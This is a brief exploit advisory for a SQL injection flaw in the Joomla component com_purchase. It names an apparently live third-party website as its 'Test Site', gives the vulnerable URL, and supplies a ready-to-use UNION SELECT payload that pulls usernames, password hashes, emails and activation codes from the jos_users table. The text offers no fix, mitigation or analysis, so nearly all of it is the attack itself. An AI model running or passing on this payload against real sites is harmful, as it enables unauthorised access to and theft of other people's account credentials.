Joomla Component com_purchase SQL Inj. Vulnerability

 Joomla, Component, com_purchase, SQL, Injection. Vulnerability
Test Site: http://www.sipa.or.th/index.php?option=com_purchase&Itemid=48&task=detail&id=inj. code
EXPLOIT  : -1+union+select+1,2,3,4,concat(username,0x3a,password,email,activation),6,7,8,9,10,11,12,13,14+from+jos_users--